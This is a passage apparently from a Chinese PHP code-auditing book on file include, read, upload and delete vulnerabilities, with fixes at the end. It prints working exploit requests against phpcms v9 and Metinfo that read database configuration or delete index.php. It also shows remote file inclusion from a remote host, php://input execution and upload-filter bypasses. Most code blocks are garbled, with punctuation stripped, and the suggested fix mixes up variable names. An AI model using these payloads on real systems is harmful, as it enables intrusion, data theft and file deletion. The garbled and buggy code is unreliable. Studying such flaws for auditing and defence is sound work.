5.1 文件操作漏洞

文件操作包括文件包含、文件读取、文件删除、文件修改以及文件上传,这几种文件操作的漏洞有部分的相似点,但是每种漏洞都有各自的漏洞函数以及利用方式,下面我们来具体分析下它们的形成原因、挖掘方式以及修复方案。

5.1.1 文件包含漏洞

PHP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。文件包含又分为本地文件包含(local file include)和远程文件包含(remote file include),顾名思义就能理解它们的差别在哪,而不管哪种都是非常高危的,渗透过程中文件包含漏洞大多可以直接利用获取webshell。文件包含函数有include()、include_once()、require()和require_once(),它们之间的区别在于:include()和include_once()在包含文件时即使遇到错误,下面的代码依然会继续执行;而require()和require_once()则会直接报错退出程序。

5.1.1.1 挖掘经验

文件包含漏洞大多出现在模块加载、模板加载以及cache调用的地方,比如传入的模块名参数,实际上是直接把这个拼接到了包含文件的路径中,比如像espcms的代码:


$archive = indexget 'archive' 'R' );

$archive = empty
$archive 'adminuser' $archive

$action = indexget
'action' 'R' );

$action = empty
$action 'login' $action

include admin_ROOT . adminfile . "/control/$archive.php"

传入的archive参数就是被包含的文件名,所以我们在挖掘文件包含漏洞的时候可以先跟踪一下程序运行流程,看看里面模块加载时包含的文件是否可控,另外就是直接搜索include()、include_once()、require()和require_once()这四个函数来回溯看看有没有可控的变量,它们的写法可以在括号里面写要包含的路径,也可以直接用空格再跟路径。一般这类都是本地文件包含,大多是需要截断的,截断的方法下面我们再细说。

5.1.1.2 本地文件包含

本地文件包含(local file include,LFI)是指只能包含本机文件的文件包含漏洞,大多出现在模块加载、模板加载和cache调用这些地方,渗透的时候利用起来并不鸡肋,本地文件包含有多种利用方式,比如上传一个允许上传的文件格式的文件再包含来执行代码,包含PHP上传的临时文件,在请求URL或者ua里面加入要执行的代码,WebServer记录到日志后再包含WebServer的日志,还有像Linux下可以包含/proc/self/environ文件。

测试代码1.php如下所示:


< php

//
初始化 ....

define
"ROOT" dirname __FILE__ .'/' );

//
加载模块

$mod = $_GET['mod']


echo ROOT.$mod.'.php'


include
ROOT.$mod.'.php' );? >

我们在同目录下2.php写入如下代码:


< php phpinfo ();? >

请求/1.php?mod=2执行结果如图5-1所示。

图 5-1

1.远程文件包含

远程文件包含(remote file include,RFI)是指可以包含远程文件的包含漏洞,远程文件包含需要设置allow_url_include=On,PHP5.2之后这个选项的可修改范围是PHP_INI_ALL。四个文件包含的函数都支持HTTP、FTP等协议,相对于本地文件包含,它更容易利用,不过出现的频率没有本地文件包含多,偶尔能挖到,下面我们来看看基于HTTP协议测试代码:


< php

include
$_GET['url'] );? >

利用则在GET请求url参数里面传入"http://remotehost/2.txt",其中远程机器上的2.txt是一个内容为<?php phpinfo();?>。访问后返回本机的phpinfo信息。

远程文件包含还有一种PHP输入输出流的利用方式,可以直接执行POST代码,这里我们仍然用上面这个代码测试,只要执行POST请求1.php?a=php://input,POST内容为PHP代码"<?php phpinfo();?>"即可打印出phpinfo信息,如图5-2所示。

2.文件包含截断

大多数的文件包含漏洞都是需要截断的,因为正常程序里面包含的文件代码一般是像include(BASEPATH.$mod.'.php')或者include($mod.'.php')这样的方式,如果我们不能写入以.php为扩展名的文件,那我们是需要截断来利用的。

图 5-2

下面我们就来详细说一下各种截断方式。

第一种方式,利用%00来截断,这是最古老的一种方法,不过在笔者做渗透测试的过程中,发现目前还是有很多企业的线上环境可以这么利用。%00截断受限于GPC和addslashes等函数的过滤,也就是说,在开启GPC的情况下是不可用的,另外在PHP5.3之后的版本全面修复了文件名%00截断的问题,所以在5.3之后的版本也是不能用这个方法截断的。下面我们来演示一下%00截断,测试代码1.php:


< php

include $_GET['a'].'.php'
>

测试代码2.txt内容为phpinfo。

请求http://localhost/test/1.php?a=2.txt%00即可执行phpinfo的代码如图5-3所示。

图 5-3

第二种方式,利用多个英文句号(.)和反斜杠(/)来截断,这种方式不受GPC限制,不过同样在PHP 5.3版本之后被修复。下面让我们来演示一下:

测试代码如下:


< php

$str=''


for
$i=0 $i<=240 $i++ {

  $str .= '.'


}

$str = '2.txt'.$str


echo $str


include $str.'.php'
;? >

我在Windows下测试是240个连接的点(.)能够截断,同样的点(.)加斜杠(/)也是240个能够截断,Linux下测试的是2038个/.组合才能截断。

第三种方式,远程文件包含时利用问号(?)来伪截断,不受GPC和PHP版本限制,只要能返回代码给包含函数,它就能执行,在HTTP协议里面访问 http://remotehost/1.txt 和访问 http://remotehost/1.txt?.php 返回的结果是一样的,因为这时候WebServer把问号(?)之后的内容当成是请求参数,而txt不在WebServer里面解析,参数对访问1.txt返回的内容不影响,所以就实现了伪截断。

测试代码如下:


< php

include $_GET['a'].'.php'

请求/1.php?a=http://remotehost/2.txt?2.txt内容同样为phpinfo的代码,请求之后会打印出phpinfo信息。

3.Metinfo文件包含漏洞分析

这里举例笔者在2012年时找到的metinfo企业网站管理系统中的一个文件包含漏洞,当时本漏洞提交给官方已经修复。

漏洞出现在文件/message/index.php,这个地方调用模块方式是直接从GET请求中获取模块名,拼接到require_once函数中,因此模块名可控导致了可以远程包含文件,代码如下:


if (! $metid

$metid='index'


if
$metid ='index' {

require_once $metid.'.php'
 

}else{

/*
省略 */

}

$metid是从GET提交的,这段代码的意思是,如果提交的参数metid不是index,则执行require_once$metid.'.php'去包含加载模块文件,这里可以用我们上面说的三种方式来利用,假设allow_url_include=on,只要在远程写一个1.txt的文件,利用问号来伪截断即可,或者搭一个不解析PHP的WebServer,访问的时候不加文件扩展名,这里给出当时写文档时留的一个截图,如图5-4所示。

图 5-4

5.1.2 文件读取(下载)漏洞

文件读取漏洞与下载漏洞差别不大,这里就合并在一起说,文件读取漏洞在很多大型应用上都出现过,印象比较深的是2012年的时候phpcmsv9的任意文件读取,可以直接读取数据库配置文件,当时也是有很多企业因为这个漏洞被入侵。这个漏洞很容易理解,部分程序在下载文件或者读取显示文件的时候,读取文件的参数filename直接在请求里面传递,后台程序获取到这个文件路径后直接读取返回,问题在于这个参数是用户可控的,可以直接传入想要读取的文件路径即可利用。

挖掘经验: 文件读取的漏洞寻找起来很是比较容易的,一种方式是可以先黑盒看看功能点对应的文件,再去读文件,这样找起来会比较快。另外一种方式就是去搜索文件读取的函数,看看有没有可以直接或者间接控制的变量,文件读取函数列表如下:file_get_contents()、highlight_file()、fopen()、readfile()、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file(),除了这些正常的读取文件的函数之外,另外一些其他功能的函数也一样可以用来读取文件,比如文件包含函数include等,可以利用PHP输入输出流php://filter/来读取文件。

phpcms任意文件读取分析

这里介绍phpcms v9的任意文件读取漏洞,漏洞作者为safekey team核心成员zvall。

漏洞位于文件/phpcms/modules/search/index.phppublic_的get_suggest_keyword函数,代码如下:


public function public_get_suggest_keyword () {

      $url = $_GET['url'].'&q='.$_GET['q']


      $res = @file_get_contents
$url );

      if
CHARSET = 'gbk' {

      $res = iconv
'gbk' CHARSET $res );

      }

      echo $res


}

这里可以看到该函数直接从GET参数里面获取要读取的URL,然后使用file_get_contents函数来读取内容,不过这里有一点要说一下,如果直接提交?url=&q=1.php我们打印出来url变量可以看到值为“&q=1.php”,带到函数里面则是file_get_contents(“&q=1.php”),这样是读不到当前文件的,需要?url=&q=../../1.php这样多加两个”../”,把“&q=”当成目录来跳过,最终这个漏洞读取数据库配置文件的EXP为:


/index.php m=search&c=index&a=public_get_suggest_keyword&url=&q=../../phpsso_server/caches/configs/database.php

利用截图如图5-5所示。

图 5-5

5.1.3 文件上传漏洞

文件上传漏洞是出现最早的漏洞,也是最容易理解的漏洞,应用程序都是代码写的,代码都是写在文件里面执行的,如果能把文件上传到管理员或者应用程序不想让你上传的目录,那就是存在文件上传漏洞。注意这里并不是说一定是上传一个WebServer可以解析的代码文件到可以解析的目录,漏洞的定义是做攻击目标不想让你做的事情,而你又发现可以做到。

文件上传漏洞跟SQL注入一样丰富精彩,有很多漏洞场景和利用方式。在早期Web安全不太普及的时候,文件上传漏洞大多是没有限制文件格式导致可以直接上传文件,到近几年这类例子已经很少见,目前存在较多的是黑名单过滤存在绕过导致文件上传漏洞。

挖掘经验: 文件上传漏洞比较好理解,同样挖掘起来也比较简单,一般应用可以上传文件的点比较少,其次是目前大多Web应用都是基于框架来写,上传的点都是调用的同一个上传类,上传函数又只有move_uploaded_file()这一个,所以文件上传漏洞在代码审计的时候,最快的方法就是直接去搜索move_uploaded_file()函数,再去看调用这个函数上传文件的代码存不存在未限制上传格式或者可以绕过,其中问题比较多的是黑名单限制文件格式以及未更改文件名的方式,没有更改文件名的情况下,在Apache利用其向前寻找解析格式和IIS6的分号解析bug都可以执行代码。

1.未过滤或本地过滤

未过滤和本地过滤共同点是在服务器端都未过滤,这个未过滤指的是没限制任何格式的文件上传,就是一个最简单的文件上传功能,上传的时候直接上传PHP格式的文件即可利用,它的代码简化之后就直接是下面这样:


< php

move_uploaded_file
$_FILES["file"]["tmp_name"] $_FILES["file"]["name"] );? >

move_uploaded_file函数直接把上传的临时文件copy到了新文件。

2.黑名单扩展名过滤

黑名单扩展名是前几年用得比较多的验证方式,后来因为绕过多了,就慢慢改用了白名单。

黑名单的缺点有以下几个。

1)限制的扩展名不够全,上传文件格式不可预测的性质导致了可能会有漏网之鱼。PHP能够在大多数的WebServer上配置解析,不同的WebServer默认有不同的可以解析的扩展名,典型的IIS默认是支持解析ASP语言的,不过在IIS下执行ASP的代码可不止.asp这个扩展名,还有cdx、asa、cer等,如果代码里面没有把这些写全,一旦漏掉一个就相当于没做限制。我们来看看PHPCMSv9里面限制的:


$savefile = preg_replace "/ php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm |aspx|asax|cgi|fcgi|pl )( \.|$ /i" "_\\1\\2" $savefile );

很明显我们上面说的cdx不在这个列表里面。

2)验证扩展名的方式存在问题可以直接绕过,另外是结合PHP和系统的特性,导致了可以截断文件名来绕过黑名单限制。下面先看一段代码:


< php

function getExt
$filename {    

      return substr
$filename strripos $filename '.' +1 );

}

$disallowed_types = array
"php" "asp" "aspx" );

//
获取文件扩展名

$FilenameExt = strtolower
getExt $_FILES["file"]["name"] ));

#
判断是否在被允许的扩展名里

if
in_array $FilenameExt $disallowed_types )) {

      die
"disallowed type" );

}

else

{

      $filename = time
() .".".$FilenameExt

      //
移动文件

      move_uploaded_file
$_FILES["file"]["tmp_name"] "upload/" . $FileName );

}

这段代码的问题在获取文件扩展名与验证扩展名,如果我们上传文件的时候文件名为“1.php”,注意后面有一个空格,则这里$FilenameExt的值为“php”,后面有一个空格,这时候in_array($FilenameExt,$disallowed_types)是返回false的,最终成功上传文件。

另外一种情况是正确的黑名单方式验证了扩展名,但是文件名没有修改,导致可以在上传时使用“%00”来截断写入,如“1.php%00.jpg”,验证扩展名时拿到的扩展名是jpg,写入的时候被%00截断,最终写入文件1.php,这里不再给出案例。

3.文件头、content-type验证绕过

这两种方式也是早期出现得比较多的,早期搞过渗透的人可能遇到过,上传文件的时候,如果直接上传一个非图片文件会被提示不是图片文件,但是在文件头里面加上“GIF89a”后上传,则验证通过,这是因为程序用了一些不可靠的函数去判断是不是图片文件,比如getimagesize()函数,只要文件头是“GIF89a”,它就会正常返回一个图片的尺寸数组,我们来验证一下,测试代码:


< php

print_r
getimagesize '1.gif' ));? >

测试结果截图如图5-6所示。

图 5-6

content-type是在http request的请求头里面,所以这个值是可以由请求者自定义修改的,而早期的一些程序只是单纯验证了这个值,笔者在写这段文字的时候还专门去w3school等网站看了上面的PHP教程就存在这个问题。找了一段存在这个漏洞的代码如下:


< php

$type = $_FILES['img']['type']


if
(( $type == "image/pjpeg" || $type == "image/jpg" || $type == "image/jpeg" || $type == "image/gif" || $type == "image/bmp" || $type == "image/png" || $type == "image/x-png" ))

{

       //uploading

}
>

4.phpcms任意文件上传分析

这里我们以PHPCMSv9在2014年公开的一个会员投稿处文件上传漏洞,漏洞作者felixk3y,漏洞乌云编号:wooyun-2014-062881,漏洞在文件/phpcms/libs/classes/attachment.class.php的upload()函数,为了易于理解,这里省略部分代码,代码如下:


function upload $field $alowexts = '' $maxsize = 0 $overwrite = 0 $thumb_setting = array (), $watermark_enable = 1 {

      /***
省略 ***/

      $this->alowexts = $alowexts
  // 获取允许上传的类型

      /***
省略 ***/

      foreach
$uploadfiles as $k=>$file {  // 多文件上传,循环读取文件上传表单

        $fileext = fileext
$file['name'] ); // 获取文件扩展名

        /***
省略 ***/

        //
检查上传格式,不过 $alowexts 是从表单提交的,可绕过       if (! preg_match "/^ ".$this->alowexts." $/" $fileext )) {

          $this->error = '10'


          return false


       }

       /***
省略 ***/

       $temp_filename = $this->getname
$fileext );

       $savefile = $this->savepath.$temp_filename


       $savefile = preg_replace
"/ php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl )( \.|$ /i" "_\\1\\2" $savefile );   // 最需要绕过的地方在这里

       /***
保存文件 ***/

       if
@$upload_func $file['tmp_name'] $savefile )) {

从上面的代码我们可以看出,这个漏洞最有意思的地方在:


$savefile = preg_replace "/ php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa| shtml|shtm |aspx|asax|cgi|fcgi|pl )( \.|$ /i" "_\\1\\2" $savefile );

而获取文件扩展名的函数内容为:


function fileext $filename {

      return strtolower
trim substr strrchr $filename '.' ), 1 10 )));

}

这里用了trim()函数去掉了空格,我们之前举例用空格绕过的方式在这里就不好使了,那有没有其他字符一样可以达到空格的效果呢,即“1.phpX”,X代表某个字符?仔细看正则会把如“1.php”替换为“1._php”,把“1.php.jpg”替换为“1._php.jpg”,作者利用fuzz的方式找到了%81-%99是可行的,仅在Windows下。利用时修改文件上传表单里的filename,在文件名后面利用十六进制修改原预留的空格20为81~99中的一个。

5.1.4 文件删除漏洞

文件删除漏洞出现在有文件管理功能的应用上比较多,这些应用一般也都有文件上传和读取等功能,它的漏洞原理跟文件读取漏洞是差不多的,不过是利用的函数不一样而已,一般也是因为删除的文件名可以用../跳转,或者没有限制当前用户只能删除他该有权限删除的文件。常出现这个漏洞的函数是unlink(),不过老版本下session_destroy()函数也可以删除文件。

挖掘经验: 挖掘文件删除漏洞可以先去找相应的功能点,直接黑盒测试一下看能不能删除某个文件,如果删除不了,再去从执行流程去追提交的文件名参数的传递过程,这样查找起来比较精准。如果纯白盒挖的话,也可以去搜索带有变量参数的unlink(),依然采用回溯变量的方式。关于session_destroy()函数删除任意文件的漏洞这里就不再举例了,因为在比较早的PHP版本就已经修复掉了这个问题,限制了PHPSESSID只能由“字母+数字+横杆”符号组成。

Metinfo任意文件删除分析

这里的案例使用笔者之前发现的一个metinfo企业内容管理系统漏洞来说明,漏洞在recovery.php文件,代码如下:


if $action=='delete' {

   if
is_array $filenames )) {

       foreach
$filenames as $filename {

         if
fileext $filename =='sql' {

            @unlink
'../databack/'.$filename );

         }

      }

   }else{

       if
fileext $filenames =='sql' {    $filenamearray=explode ".sql" $filenames );

            @unlink
'../../databack/'.$filenames );

               @unlink
'../../databack/sql/metinfo_'.$filenamearray[0].".zip" );

       }else{

          //
如果不是 SQL 文件,直接删除

           @unlink
'../../databack/'.$fileon.'/'.$filenames );

          }

}

这段代码首先判断请求的action参数的值是不是delete,如果是则进入文件删除功能,在代码:


if fileext $filenames =='sql' {

判断如果不是sql文件后,就直接在databack目录删除提交的文件名,代码中$filenames函数从GET中提交,只要请求:


/recovery.php &action=delete&filenames=../../index.php

即可删除index.php文件。

5.1.5 文件操作漏洞防范

文件操作漏洞在部分原理及利用方式上面都有一定相似性,所以下面我们分为通用防御手段和针对性防御手段来介绍怎么防御文件操作漏洞。

5.1.5.1 通用文件操作防御

文件操作漏洞利用有几个共同点如下:

1)由越权操作引起可以操作未授权操作的文件。

2)要操作更多文件需要跳转目录。

3)大多都是直接在请求中传入文件名。

我们需要这几个共同点来思考防御手段:

·对权限的管理要合理,比如用户A上传的文件其他平行权限的用户在未授权的情况下不能进行查看和删除等操作,特殊的文件操作行为限定特定用户才有权限,比如后台删除文件的操作,肯定是需要限制管理员才能操作。

·有的文件操作是不需要直接传入文件名的,比如下载文件的时候,下载的文件是已知的,则我们可以用更安全的方法来替代直接以文件名为参数下载操作,在上传文件时,只要把文件名、文件路径、文件ID(随机MD5形式)以及文件上传人存储在数据库中,下载的时候直接根据文件ID和当前用户名去判断当前用户有没有权限下载这个文件,如果有则读取路径指向的这个文件并返回下载即可。

·要避免目录跳转的问题,在满足业务需求的情况下,我们可以使用上面第二说的方法,但是有的情况下如后台进行文件编辑等操作时,需要传入文件路径的,可以在后台固定文件操作目录,然后禁止参数中有“..”两个点和反斜杠“/”以及斜杠“\”来跳转目录,怎么禁止呢?检查到传入的参数有这些字符,之间提示禁止操作并停止程序继续往下执行即可。

5.1.5.2 文件上传漏洞防范

文件上传漏洞相比下载、删除更复杂,所以这里单独拿出来讲一下怎么防范,文件上传漏洞虽然定位起来比较简单,但是修复起来要考虑的东西还是不少,主要是不同环境下的利用场景比较多,需要比较完善的策略去防止漏洞出现。修复和防止一种漏洞之前,要比较全的清楚这种漏洞在不同环境下的利用方式,这样才能防御的比较全,文件上传漏洞主要有两种利用方式,分为上传的文件类型验证不严谨和写入文件不规范。针对这两种利用方式,我给出的防范方案如下:

1)白名单方式过滤文件扩展名,使用in_array或者三等于(===)来对比扩展名。

2)保存上传的文件时重命名文件,文件名命名规则采用时间戳的拼接随机数的MD5值方式"md5(time()+rand(1,10000))"。

我们对之前的代码稍微改动下,给出示例代码如下:


< php

function getExt
$filename {    

      return substr
$filename strripos $filename '.' +1 );

}

$disallowed_types = array
'jpg' 'png' 'gif' );

//
获取文件扩展名

$FilenameExt = strtolower
getExt $_FILES["file"]["name"] ));

#
判断是否在被允许的扩展名里

if
(! in_array $FilenameExt $disallowed_types )) {

      die
"disallowed type" );

}

else

{

      $filename = md5
time () +rand 1 10000 )) .".".$FilenameExt

      //
移动文件

      move_uploaded_file
$_FILES["file"]["tmp_name"] "upload/" . $FileName );

}
>